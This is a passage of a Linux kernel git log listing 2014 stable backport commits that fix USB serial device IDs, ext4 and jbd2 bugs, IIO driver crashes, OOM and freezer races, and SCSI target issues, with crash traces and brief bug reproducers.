6b68b4495ce4f87a04441ef17d8b67201ee8883a Author: Ray Jui Date: Thu Oct 9 11:44:54 2014 -0700 spi: pl022: Fix incorrect dma_unmap_sg commit 3ffa6158f002e096d28ede71be4e0ee8ab20baa2 upstream. When mapped RX DMA entries are unmapped in an error condition when DMA is firstly configured in the driver, the number of TX DMA entries was passed in, which is incorrect Signed-off-by: Ray Jui Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9daaa54669847bcdbd329699649bc381c8a17866 Author: Cyril Brulebois Date: Tue Oct 28 16:42:41 2014 +0100 wireless: rt2x00: add new rt2800usb device commit 664d6a792785cc677c2091038ce10322c8d04ae1 upstream. 0x1b75 0xa200 AirLive WN-200USB wireless 11b/g/n dongle References: https://bugs.debian.org/766802 Reported-by: Martin Mokrejs Signed-off-by: Cyril Brulebois Acked-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 250b19ac8e58c571809d4b2a9f733248970ef812 Author: Dan Williams Date: Tue Oct 14 11:10:41 2014 -0500 USB: option: add Haier CE81B CDMA modem commit 012eee1522318b5ccd64d277d50ac32f7e9974fe upstream. Port layout: 0: QCDM/DIAG 1: NMEA 2: AT 3: AT/PPP Signed-off-by: Dan Williams Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6bd314fe3375b36562f36e256bdf5481e4c810e7 Author: Daniele Palmas Date: Tue Oct 14 10:47:37 2014 +0200 usb: option: add support for Telit LE910 commit 2d0eb862dd477c3c4f32b201254ca0b40e6f465c upstream. Add VID/PID for Telit LE910 modem. Interfaces description is almost the same than LE920, except that the qmi interface is number 2 (instead than 5). Signed-off-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 50a2205b37c7e65437f5d8a89731fd1787e03361 Author: Johan Hovold Date: Wed Nov 5 18:41:59 2014 +0100 USB: cdc-acm: only raise DTR on transitions from B0 commit 4473d054ceb572557954f9536731d39b20937b0c upstream. Make sure to only raise DTR on transitions from B0 in set_termios. Also allow set_termios to be called from open with a termios_old of NULL. Note that DTR will not be raised prematurely in this case. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 598d8ec5bd89dae9f1602468f538ad8a141c348e Author: Johan Hovold Date: Mon Oct 27 18:34:33 2014 +0100 USB: cdc-acm: add device id for GW Instek AFG-2225 commit cf84a691a61606a2e7269907d3727e2d9fa148ee upstream. Add device-id entry for GW Instek AFG-2225, which has a byte swapped bInterfaceSubClass (0x20). Reported-by: Karl Palsson Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dda5a718d0f459ec132a5f7a53cb1a60c6adf68d Author: Perry Hung Date: Wed Oct 22 23:31:34 2014 -0400 usb: serial: ftdi_sio: add "bricked" FTDI device PID commit 7f2719f0003da1ad13124ef00f48d7514c79e30d upstream. An official recent Windows driver from FTDI detects counterfeit devices and reprograms the internal EEPROM containing the USB PID to 0, effectively bricking the device. Add support for this VID/PID pair to correctly bind the driver on these devices. See: http://hackaday.com/2014/10/22/watch-that-windows-update-ftdi-drivers-are-killing-fake-chips/ Signed-off-by: Perry Hung Acked-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4f7bebac2f353e9e65d86d6dea76de199d8c2f7c Author: Frans Klaver Date: Fri Oct 10 11:52:08 2014 +0200 usb: serial: ftdi_sio: add Awinda Station and Dongle products commit edd74ffab1f6909eee400c7de8ce621870aacac9 upstream. Add new IDs for the Xsens Awinda Station and Awinda Dongle. While at it, order the definitions by PID and add a logical separation between devices using Xsens' VID and those using FTDI's VID. Signed-off-by: Frans Klaver Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 26d7fc5b94865e5386341f3bce76c0dad56ffb94 Author: Nathaniel Ting Date: Fri Oct 3 12:01:20 2014 -0400 USB: serial: cp210x: add Silicon Labs 358x VID and PID commit 35cc83eab097e5720a9cc0ec12bdc3a726f58381 upstream. Enable Silicon Labs Ember VID chips to enumerate with the cp210x usb serial driver. EM358x devices operating with the Ember Z-Net 5.1.2 stack may now connect to host PCs over a USB serial link. Signed-off-by: Nathaniel Ting Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d986ed51d10aaf7f36a18e8c76c648e50dc8c2eb Author: Peter Hurley Date: Thu Oct 16 13:46:38 2014 -0400 serial: Fix divide-by-zero fault in uart_get_divisor() commit 547039ec502076e60034eeb79611df3433a99b7d upstream. uart_get_baud_rate() will return baud == 0 if the max rate is set to the "magic" 38400 rate and the SPD_* flags are also specified. On the first iteration, if the current baud rate is higher than the max, the baud rate is clamped at the max (which in the degenerate case is 38400). On the second iteration, the now-"magic" 38400 baud rate selects the possibly higher alternate baud rate indicated by the SPD_* flag. Since only two loop iterations are performed, the loop is exited, a kernel WARNING is generated and a baud rate of 0 is returned. Reproducible with: setserial /dev/ttyS0 spd_hi base_baud 38400 Only perform the "magic" 38400 -> SPD_* baud transform on the first loop iteration, which prevents the degenerate case from recognizing the clamped baud rate as the "magic" 38400 value. Reported-by: Robert ÅšwiÄ™cki Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d32560eab034b707a0053caa822269f1f507a224 Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:16 2014 +0100 staging:iio:ade7758: Remove "raw" from channel name commit b598aacc29331e7e638cd509108600e916c6331b upstream. "raw" is a property of a channel, but should not be part of the name of channel. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db17d08bf9384921642f56e7b506557b5b51b736 Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:15 2014 +0100 staging:iio:ade7758: Fix check if channels are enabled in prenable commit 79fa64eb2ee8ccb4bcad7f54caa2699730b10b22 upstream. We should check if a channel is enabled, not if no channels are enabled. Fixes: 550268ca1111 ("staging:iio: scrap scan_count and ensure all drivers use active_scan_mask") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 535a6d514ce39018b0e320941a2057d9da91c7fa Author: Lars-Peter Clausen Date: Tue Nov 4 18:03:14 2014 +0100 staging:iio:ade7758: Fix NULL pointer deref when enabling buffer commit e10554738cab4224e097c2f9d975ea781a4fcde4 upstream. In older versions of the IIO framework it was possible to pass a completely different set of channels to iio_buffer_register() as the one that is assigned to the IIO device. Commit 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") introduced a restriction that requires that the set of channels that is passed to iio_buffer_register() is a subset of the channels assigned to the IIO device as the IIO core will use the list of channels that is assigned to the device to lookup a channel by scan index in iio_compute_scan_bytes(). If it can not find the channel the function will crash. This patch fixes the issue by making sure that the same set of channels is assigned to the IIO device and passed to iio_buffer_register(). Note that we need to remove the IIO_CHAN_INFO_RAW and IIO_CHAN_INFO_SCALE info attributes from the channels since we don't actually want those to be registered. Fixes the following crash: Unable to handle kernel NULL pointer dereference at virtual address 00000016 pgd = d2094000 [00000016] *pgd=16e39831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: CPU: 1 PID: 1695 Comm: bash Not tainted 3.17.0-06329-g29461ee #9686 task: d7768040 ti: d5bd4000 task.ti: d5bd4000 PC is at iio_compute_scan_bytes+0x38/0xc0 LR is at iio_compute_scan_bytes+0x34/0xc0 pc : [] lr : [] psr: 60070013 sp : d5bd5ec0 ip : 00000000 fp : 00000000 r10: d769f934 r9 : 00000000 r8 : 00000001 r7 : 00000000 r6 : c8fc6240 r5 : d769f800 r4 : 00000000 r3 : d769f800 r2 : 00000000 r1 : ffffffff r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 18c5387d Table: 1209404a DAC: 00000015 Process bash (pid: 1695, stack limit = 0xd5bd4240) Stack: (0xd5bd5ec0 to 0xd5bd6000) 5ec0: d769f800 d7435640 c8fc6240 d769f984 00000000 c03175a4 d7435690 d7435640 5ee0: d769f990 00000002 00000000 d769f800 d5bd4000 00000000 000b43a8 c03177f4 5f00: d769f810 0162b8c8 00000002 c8fc7e00 d77f1d08 d77f1da8 c8fc7e00 c01faf1c 5f20: 00000002 c010694c c010690c d5bd5f88 00000002 c8fc6840 c8fc684c c0105e08 5f40: 00000000 00000000 d20d1580 00000002 000af408 d5bd5f88 c000de84 c00b76d4 5f60: d20d1580 000af408 00000002 d20d1580 d20d1580 00000002 000af408 c000de84 5f80: 00000000 c00b7a44 00000000 00000000 00000002 b6ebea78 00000002 000af408 5fa0: 00000004 c000dd00 b6ebea78 00000002 00000001 000af408 00000002 00000000 5fc0: b6ebea78 00000002 000af408 00000004 bee96a4c 000a6094 00000000 000b43a8 5fe0: 00000000 bee969cc b6e2eb77 b6e6525c 40070010 00000001 00000000 00000000 [] (iio_compute_scan_bytes) from [] (__iio_update_buffers+0x248/0x438) [] (__iio_update_buffers) from [] (iio_buffer_store_enable+0x60/0x7c) [] (iio_buffer_store_enable) from [] (dev_attr_store+0x18/0x24) [] (dev_attr_store) from [] (sysfs_kf_write+0x40/0x4c) [] (sysfs_kf_write) from [] (kernfs_fop_write+0x110/0x154) [] (kernfs_fop_write) from [] (vfs_write+0xbc/0x170) [] (vfs_write) from [] (SyS_write+0x40/0x78) [] (SyS_write) from [] (ret_fast_syscall+0x0/0x30) Fixes: 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccbb465c6e56e90a15ca883444960b94cb8bc28e Author: Lars-Peter Clausen Date: Thu Sep 25 15:27:00 2014 +0100 staging:iio:ad5933: Drop "raw" from channel names commit 6822ee34ad57b29a3b44df2c2829910f03c34fa4 upstream. "raw" is the name of a channel property, but should not be part of the channel name itself. Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fdce26a813a02042580e82ad1a7a46f5e2128fb Author: Lars-Peter Clausen Date: Thu Sep 25 15:27:00 2014 +0100 staging:iio:ad5933: Fix NULL pointer deref when enabling buffer commit 824269c5868d2a7a26417e5ef3841a27d42c6139 upstream. In older versions of the IIO framework it was possible to pass a completely different set of channels to iio_buffer_register() as the one that is assigned to the IIO device. Commit 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") introduced a restriction that requires that the set of channels that is passed to iio_buffer_register() is a subset of the channels assigned to the IIO device as the IIO core will use the list of channels that is assigned to the device to lookup a channel by scan index in iio_compute_scan_bytes(). If it can not find the channel the function will crash. This patch fixes the issue by making sure that the same set of channels is assigned to the IIO device and passed to iio_buffer_register(). Fixes the follow NULL pointer derefernce kernel crash: Unable to handle kernel NULL pointer dereference at virtual address 00000016 pgd = d53d0000 [00000016] *pgd=1534e831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: CPU: 1 PID: 1626 Comm: bash Not tainted 3.15.0-19969-g2a180eb-dirty #9545 task: d6c124c0 ti: d539a000 task.ti: d539a000 PC is at iio_compute_scan_bytes+0x34/0xa8 LR is at iio_compute_scan_bytes+0x34/0xa8 pc : [] lr : [] psr: 60070013 sp : d539beb8 ip : 00000001 fp : 00000000 r10: 00000002 r9 : 00000000 r8 : 00000001 r7 : 00000000 r6 : d6dc8800 r5 : d7571000 r4 : 00000002 r3 : d7571000 r2 : 00000044 r1 : 00000001 r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 18c5387d Table: 153d004a DAC: 00000015 Process bash (pid: 1626, stack limit = 0xd539a240) Stack: (0xd539beb8 to 0xd539c000) bea0: c02fc0e4 d7571000 bec0: d76c1640 d6dc8800 d757117c 00000000 d757112c c0305b04 d76c1690 d76c1640 bee0: d7571188 00000002 00000000 d7571000 d539a000 00000000 000dd1c8 c0305d54 bf00: d7571010 0160b868 00000002 c69d3900 d7573278 d7573308 c69d3900 c01ece90 bf20: 00000002 c0103fac c0103f6c d539bf88 00000002 c69d3b00 c69d3b0c c0103468 bf40: 00000000 00000000 d7694a00 00000002 000af408 d539bf88 c000dd84 c00b2f94 bf60: d7694a00 000af408 00000002 d7694a00 d7694a00 00000002 000af408 c000dd84 bf80: 00000000 c00b32d0 00000000 00000000 00000002 b6f1aa78 00000002 000af408 bfa0: 00000004 c000dc00 b6f1aa78 00000002 00000001 000af408 00000002 00000000 bfc0: b6f1aa78 00000002 000af408 00000004 be806a4c 000a6094 00000000 000dd1c8 bfe0: 00000000 be8069cc b6e8ab77 b6ec125c 40070010 00000001 22940489 154a5007 [] (iio_compute_scan_bytes) from [] (__iio_update_buffers+0x248/0x438) [] (__iio_update_buffers) from [] (iio_buffer_store_enable+0x60/0x7c) [] (iio_buffer_store_enable) from [] (dev_attr_store+0x18/0x24) [] (dev_attr_store) from [] (sysfs_kf_write+0x40/0x4c) [] (sysfs_kf_write) from [] (kernfs_fop_write+0x110/0x154) [] (kernfs_fop_write) from [] (vfs_write+0xd0/0x160) [] (vfs_write) from [] (SyS_write+0x40/0x78) [] (SyS_write) from [] (ret_fast_syscall+0x0/0x30) Code: ea00000e e1a01008 e1a00005 ebfff6fc (e5d0a016) Fixes: 959d2952d124 ("staging:iio: make iio_sw_buffer_preenable much more general.") Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9291d87c36fed00899c7ef72211bb4e8bdcffeaf Author: Michal Hocko Date: Mon Oct 20 18:12:32 2014 +0200 OOM, PM: OOM killed task shouldn't escape PM suspend commit 5695be142e203167e3cb515ef86a88424f3524eb upstream. PM freezer relies on having all tasks frozen by the time devices are getting frozen so that no task will touch them while they are getting frozen. But OOM killer is allowed to kill an already frozen task in order to handle OOM situtation. In order to protect from late wake ups OOM killer is disabled after all tasks are frozen. This, however, still keeps a window open when a killed task didn't manage to die by the time freeze_processes finishes. Reduce the race window by checking all tasks after OOM killer has been disabled. This is still not race free completely unfortunately because oom_killer_disable cannot stop an already ongoing OOM killer so a task might still wake up from the fridge and get killed without freeze_processes noticing. Full synchronization of OOM and freezer is, however, too heavy weight for this highly unlikely case. Introduce and check oom_kills counter which gets incremented early when the allocator enters __alloc_pages_may_oom path and only check all the tasks if the counter changes during the freezing attempt. The counter is updated so early to reduce the race window since allocator checked oom_killer_disabled which is set by PM-freezing code. A false positive will push the PM-freezer into a slow path but that is not a big deal. Changes since v1 - push the re-check loop out of freeze_processes into check_frozen_processes and invert the condition to make the code more readable as per Rafael Fixes: f660daac474c6f (oom: thaw threads if oom killed thread is frozen before deferring) Signed-off-by: Michal Hocko Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 74c4d91649b7922561b9218a25a54b536198485b Author: Cong Wang Date: Tue Oct 21 09:27:12 2014 +0200 freezer: Do not freeze tasks killed by OOM killer commit 51fae6da640edf9d266c94f36bc806c63c301991 upstream. Since f660daac474c6f (oom: thaw threads if oom killed thread is frozen before deferring) OOM killer relies on being able to thaw a frozen task to handle OOM situation but a3201227f803 (freezer: make freezing() test freeze conditions in effect instead of TIF_FREEZE) has reorganized the code and stopped clearing freeze flag in __thaw_task. This means that the target task only wakes up and goes into the fridge again because the freezing condition hasn't changed for it. This reintroduces the bug fixed by f660daac474c6f. Fix the issue by checking for TIF_MEMDIE thread flag in freezing_slow_path and exclude the task from freezing completely. If a task was already frozen it would get woken by __thaw_task from OOM killer and get out of freezer after rechecking freezing(). Changes since v1 - put TIF_MEMDIE check into freezing_slowpath rather than in __refrigerator as per Oleg - return __thaw_task into oom_scan_process_thread because oom_kill_process will not wake task in the fridge because it is sleeping uninterruptible [mhocko@suse.cz: rewrote the changelog] Fixes: a3201227f803 (freezer: make freezing() test freeze conditions in effect instead of TIF_FREEZE) Signed-off-by: Cong Wang Signed-off-by: Michal Hocko Acked-by: Oleg Nesterov Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcdd9acb4d1ee8e3273d5c50c5cdd9f8b4d5c542 Author: Jan Kara Date: Thu Oct 30 10:53:16 2014 -0400 ext4: fix oops when loading block bitmap failed commit 599a9b77ab289d85c2d5c8607624efbe1f552b0f upstream. When we fail to load block bitmap in __ext4_new_inode() we will dereference NULL pointer in ext4_journal_get_write_access(). So check for error from ext4_read_block_bitmap(). Coverity-id: 989065 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1d8658791fa1073f02390ae0667357bc236697d Author: Pali Rohár Date: Thu Oct 16 01:16:51 2014 +0200 cpufreq: intel_pstate: Fix setting max_perf_pct in performance policy commit 36b4bed5cd8f6e17019fa7d380e0836872c7b367 upstream. Code which changes policy to powersave changes also max_policy_pct based on max_freq. Code which change max_perf_pct has upper limit base on value max_policy_pct. When policy is changing from powersave back to performance then max_policy_pct is not changed. Which means that changing max_perf_pct is not possible to high values if max_freq was too low in powersave policy. Test case: $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq 800000 $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 3300000 $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor performance $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 100 $ echo powersave > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor $ echo 800000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq $ echo 20 > /sys/devices/system/cpu/intel_pstate/max_perf_pct $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 800000 $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 20 $ echo performance > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor $ echo 3300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq $ echo 100 > /sys/devices/system/cpu/intel_pstate/max_perf_pct $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor performance $ cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq 3300000 $ cat /sys/devices/system/cpu/intel_pstate/max_perf_pct 24 And now intel_pstate driver allows to set maximal value for max_perf_pct based on max_policy_pct which is 24 for previous powersave max_freq 800000. This patch will set default value for max_policy_pct when setting policy to performance so it will allow to set also max value for max_perf_pct. Signed-off-by: Pali Rohár Acked-by: Dirk Brandewie Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2255b5331b51a45432dde4d187556268f2f92c0 Author: Jan Kara Date: Thu Oct 30 10:52:57 2014 -0400 ext4: fix overflow when updating superblock backups after resize commit 9378c6768e4fca48971e7b6a9075bc006eda981d upstream. When there are no meta block groups update_backups() will compute the backup block in 32-bit arithmetics thus possibly overflowing the block number and corrupting the filesystem. OTOH filesystems without meta block groups larger than 16 TB should be rare. Fix the problem by doing the counting in 64-bit arithmetics. Coverity-id: 741252 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Reviewed-by: Lukas Czerner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 646335bb69fd9eebaf76c81821a7ca17db2ea1dc Author: Darrick J. Wong Date: Tue Oct 14 02:35:49 2014 -0400 ext4: check s_chksum_driver when looking for bg csum presence commit 813d32f91333e4c33d5a19b67167c4bae42dae75 upstream. Convert the ext4_has_group_desc_csum predicate to look for a checksum driver instead of the metadata_csum flag and change the bg checksum calculation function to look for GDT_CSUM before taking the crc16 path. Without this patch, if we mount with ^uninit_bg,^metadata_csum and later metadata_csum gets turned on by accident, the block group checksum functions will incorrectly assume that checksumming is enabled (metadata_csum) but that crc16 should be used (!s_chksum_driver). This is totally wrong, so fix the predicate and the checksum formula selection. (Granted, if the metadata_csum feature bit gets enabled on a live FS then something underhanded is going on, but we could at least avoid writing garbage into the on-disk fields.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Reviewed-by: Dmitry Monakhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea822e17e9ac35553346f107f87ca2de17e16f0c Author: Eric Sandeen Date: Sat Oct 11 19:51:17 2014 -0400 ext4: fix reservation overflow in ext4_da_write_begin commit 0ff8947fc5f700172b37cbca811a38eb9cb81e08 upstream. Delalloc write journal reservations only reserve 1 credit, to update the inode if necessary. However, it may happen once in a filesystem's lifetime that a file will cross the 2G threshold, and require the LARGE_FILE feature to be set in the superblock as well, if it was not set already. This overruns the transaction reservation, and can be demonstrated simply on any ext4 filesystem without the LARGE_FILE feature already set: dd if=/dev/zero of=testfile bs=1 seek=2147483646 count=1 \ conv=notrunc of=testfile sync dd if=/dev/zero of=testfile bs=1 seek=2147483647 count=1 \ conv=notrunc of=testfile leads to: EXT4-fs: ext4_do_update_inode:4296: aborting transaction: error 28 in __ext4_handle_dirty_super EXT4-fs error (device loop0) in ext4_do_update_inode:4301: error 28 EXT4-fs error (device loop0) in ext4_reserve_inode_write:4757: Readonly filesystem EXT4-fs error (device loop0) in ext4_dirty_inode:4876: error 28 EXT4-fs error (device loop0) in ext4_da_write_end:2685: error 28 Adjust the number of credits based on whether the flag is already set, and whether the current write may extend past the LARGE_FILE limit. Signed-off-by: Eric Sandeen Signed-off-by: Theodore Ts'o Reviewed-by: Andreas Dilger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e49aa7c28df9c8f54f8dbd09a513df95d41a1fcd Author: Theodore Ts'o Date: Sun Oct 5 22:56:00 2014 -0400 ext4: add ext4_iget_normal() which is to be used for dir tree lookups commit f4bb2981024fc91b23b4d09a8817c415396dbabb upstream. If there is a corrupted file system which has directory entries that point at reserved, metadata inodes, prohibit them from being used by treating them the same way we treat Boot Loader inodes --- that is, mark them to be bad inodes. This prohibits them from being opened, deleted, or modified via chmod, chown, utimes, etc. In particular, this prevents a corrupted file system which has a directory entry which points at the journal inode from being deleted and its blocks released, after which point Much Hilarity Ensues. Reported-by: Sami Liedes Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f0fb7e0762e3ae17a9f8f49ed6046b590ab01e3 Author: Dmitry Monakhov Date: Fri Oct 3 12:47:23 2014 -0400 ext4: grab missed write_count for EXT4_IOC_SWAP_BOOT commit 3e67cfad22230ebed85c56cbe413876f33fea82b upstream. Otherwise this provokes complain like follows: WARNING: CPU: 12 PID: 5795 at fs/ext4/ext4_jbd2.c:48 ext4_journal_check_start+0x4e/0xa0() Modules linked in: brd iTCO_wdt lpc_ich mfd_core igb ptp dm_mirror dm_region_hash dm_log dm_mod CPU: 12 PID: 5795 Comm: python Not tainted 3.17.0-rc2-00175-gae5344f #158 Hardware name: Intel Corporation W2600CR/W2600CR, BIOS SE5C600.86B.99.99.x028.061320111235 06/13/2011 0000000000000030 ffff8808116cfd28 ffffffff815c7dfc 0000000000000030 0000000000000000 ffff8808116cfd68 ffffffff8106ce8c ffff8808116cfdc8 ffff880813b16000 ffff880806ad6ae8 ffffffff81202008 0000000000000000 Call Trace: [] dump_stack+0x51/0x6d [] warn_slowpath_common+0x8c/0xc0 [] ? ext4_ioctl+0x9e8/0xeb0 [] warn_slowpath_null+0x1a/0x20 [] ext4_journal_check_start+0x4e/0xa0 [] __ext4_journal_start_sb+0x90/0x110 [] ext4_ioctl+0x9e8/0xeb0 [] ? ptrace_stop+0x24d/0x2f0 [] ? alloc_pid+0x480/0x480 [] ? ptrace_do_notify+0x92/0xb0 [] do_vfs_ioctl+0x4e5/0x550 [] ? _raw_spin_unlock_irq+0x2b/0x40 [] SyS_ioctl+0x53/0x80 [] tracesys+0xd0/0xd5 Reviewed-by: Jan Kara Signed-off-by: Dmitry Monakhov Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d06099de42e914b7b4fa544af73de7c2ea8aa252 Author: Jan Kara Date: Thu Sep 18 01:12:15 2014 -0400 ext4: don't check quota format when there are no quota files commit 279bf6d390933d5353ab298fcc306c391a961469 upstream. The check whether quota format is set even though there are no quota files with journalled quota is pointless and it actually makes it impossible to turn off journalled quotas (as there's no way to unset journalled quota format). Just remove the check. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bbcadc0eb7f560b57547b6b741fa7712543d834 Author: Darrick J. Wong Date: Tue Sep 16 14:34:59 2014 -0400 ext4: check EA value offset when loading commit a0626e75954078cfacddb00a4545dde821170bc5 upstream. When loading extended attributes, check each entry's value offset to make sure it doesn't collide with the entries. Without this check it is easy to crash the kernel by mounting a malicious FS containing a file with an EA wherein e_value_offs = 0 and e_value_size > 0 and then deleting the EA, which corrupts the name list. (See the f_ea_value_crash test's FS image in e2fsprogs for an example.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cc046c1f5edb08ad04f2329b88a7503103df1830 Author: Darrick J. Wong Date: Tue Sep 16 14:43:09 2014 -0400 jbd2: free bh when descriptor block checksum fails commit 064d83892e9ba547f7d4eae22cbca066d95210ce upstream. Free the buffer head if the journal descriptor block fails checksum verification. This is the jbd2 port of the e2fsprogs patch "e2fsck: free bh on csum verify error in do_one_pass". Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Reviewed-by: Eric Sandeen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e106356949b65c067cfb9965e3d470086eca9714 Author: David Daney Date: Mon Oct 20 15:34:23 2014 -0700 MIPS: tlbex: Properly fix HUGE TLB Refill exception handler commit 9e0f162a36914937a937358fcb45e0609ef2bfc4 upstream. In commit 8393c524a25609 (MIPS: tlbex: Fix a missing statement for HUGETLB), the TLB Refill handler was fixed so that non-OCTEON targets would work properly with huge pages. The change was incorrect in that it broke the OCTEON case. The problem is shown here: xxx0: df7a0000 ld k0,0(k1) . . . xxxc0: df610000 ld at,0(k1) xxxc4: 335a0ff0 andi k0,k0,0xff0 xxxc8: e825ffcd bbit1 at,0x5,0x0 xxxcc: 003ad82d daddu k1,at,k0 . . . In the non-octeon case there is a destructive test for the huge PTE bit, and then at 0, $k0 is reloaded (that is what the 8393c524a25609 patch added). In the octeon case, we modify k1 in the branch delay slot, but we never need k0 again, so the new load is not needed, but since k1 is modified, if we do the load, we load from a garbage location and then get a nested TLB Refill, which is seen in userspace as either SIGBUS or SIGSEGV (depending on the garbage). The real fix is to only do this reloading if it is needed, and never where it is harmful. Signed-off-by: David Daney Cc: Huacai Chen Cc: Fuxin Zhang Cc: Zhangjin Wu Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8151/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e649cda436ae626516f8bf8f82afba24d5a28d6 Author: Nicholas Bellinger Date: Sat Oct 4 04:23:15 2014 +0000 target: Fix APTPL metadata handling for dynamic MappedLUNs commit e24805637d2d270d7975502e9024d473de86afdb upstream. This patch fixes a bug in handling of SPC-3 PR Activate Persistence across Target Power Loss (APTPL) logic where re-creation of state for MappedLUNs from dynamically generated NodeACLs did not occur during I_T Nexus establishment. It adds the missing core_scsi3_check_aptpl_registration() call during core_tpg_check_initiator_node_acl() -> core_tpg_add_node_to_devs() in order to replay any pre-loaded APTPL metadata state associated with the newly connected SCSI Initiator Port. Cc: Mike Christie Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1665d1786aef09b344a45ba3286db44f4630ad3 Author: Quinn Tran Date: Thu Sep 25 06:22:28 2014 -0400 target: Fix queue full status NULL pointer for SCF_TRANSPORT_TASK_SENSE commit 082f58ac4a48d3f5cb4597232cb2ac6823a96f43 upstream. During temporary resource starvation at lower transport layer, command is placed on queue full retry path, which expose this problem. The TCM queue full handling of SCF_TRANSPORT_TASK_SENSE currently sends the same cmd twice to lower layer. The 1st time led to cmd normal free path. The 2nd time cause Null pointer access. This regression bug was originally introduced v3.1-rc code in the following commit: commit e057f53308a5f071556ee80586b99ee755bf07f5 Author: Christoph Hellwig Date: Mon Oct 17 13:56:41 2011 -0400 target: remove the transport_qf_callback se_cmd callback Signed-off-by: Quinn Tran Signed-off-by: Saurav Kashyap Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65e45b2a353d0cd4e1475045837383fbe512a609 Author: Joern Engel Date: Fri Oct 3 14:35:56 2014 -0700 qla_target: don't delete changed nacls commit f4c24db1b7ad0ce84409e15744d26c6f86a96840 upstream. The code is currently riddled with "drop the hardware_lock to avoid a deadlock" bugs that expose races. One of those races seems to expose a valid warning in tcm_qla2xxx_clear_nacl_from_fcport_map. Add some bandaid to it. Signed-off-by: Joern Engel Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1a46150f2e2bef5e7c8f5ff3fb1a082582922851 Author: Anton 